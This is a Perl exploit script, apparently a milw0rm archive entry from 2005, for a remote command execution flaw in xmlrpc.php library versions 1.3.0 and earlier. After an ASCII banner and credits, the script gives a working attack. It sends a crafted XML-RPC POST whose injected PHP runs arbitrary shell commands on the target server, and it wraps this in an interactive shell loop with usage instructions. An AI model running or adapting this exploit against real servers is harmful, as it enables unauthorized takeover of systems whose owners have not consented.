xmlrpc.php Library <= 1.3.0 - Remote Command Execute Exploit (2)

#-------------------------------------------------------# # /| # # | | # # | | # # /\ ________| |___ # # / \ \_______ __/ # # / \|\_____ | | _ _ _ _ ()___ # # / /\ \ ___ \ | |&#60;_&#62; / | | | || \ || | | | # # / /__\ \| \ || | _ /__ |_ | | ||_/ || | |_| # # / ______ \ | || || | / | | | || \ || | | # # / / \ \ | || || | / |_ |_ |_|| \|| | \_| # # \_/ |\_/ | || || | ___ _ _ # # | | | || /| | | | | ||\/| # # \| \||/ \| | |_ |_|| | # # | | | || | # # | |_ | || | # # # # Original advisory by http://gulftech.org/ # # Exploit coded by dukenn (http://asteam.org) # # # #------------------------------------------------------- #!/usr/bin/perl use IO::Socket; print &#34;XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n&#34;; if ($ARGV[0] && $ARGV[1]) { $host = $ARGV[0]; $xml = $ARGV[1]; $sock = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$host&#34;, PeerPort =&#62; &#34;80&#34;) || die &#34;connecterror\n&#34;; while (1) { print &#39;[&#39;.$host.&#39;]# &#39;; $cmd = &#60;STDIN&#62;; chop($cmd); last if ($cmd eq &#39;exit&#39;); $xmldata = &#34;&#60;?xml version=\&#34;1.0\&#34;?&#62;&#60;methodCall&#62;&#60;methodName&#62;test.method&#60;/methodName&#62;&#60;params&#62;&#60;param&#62;&#60;value&#62;&#60;name&#62;&#39;,&#39;&#39;));echo &#39;_begin_\n&#39;;echo `&#34;.$cmd.&#34;`;echo &#39;_end_&#39;;exit;/*&#60;/name&#62;&#60;/value&#62;&#60;/param&#62;&#60;/params&#62;&#60;/methodCall&#62;&#34;; print $sock &#34;POST &#34;.$xml.&#34; HTTP/1.1\n&#34;; print $sock &#34;Host: &#34;.$host.&#34;\n&#34;; print $sock &#34;Content-Type: text/xml\n&#34;; print $sock &#34;Content-Length:&#34;.length($xmldata).&#34;\n\n&#34;.$xmldata; $good=0; while ($ans = &#60;$sock&#62;) { if ($good == 1) { print &#34;$ans&#34;; } last if ($ans =~ /^_end_/); if ($ans =~ /^_begin_/) { $good = 1; } } if ($good==0) {print &#34;Exploit Failed\n&#34;;exit();} } } else { print &#34;Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n&#34;; print &#34;Example: perl xml.pl target.com /script/xmlrpc.php\n&#34;; exit; } # milw0rm.com [2005-07-04]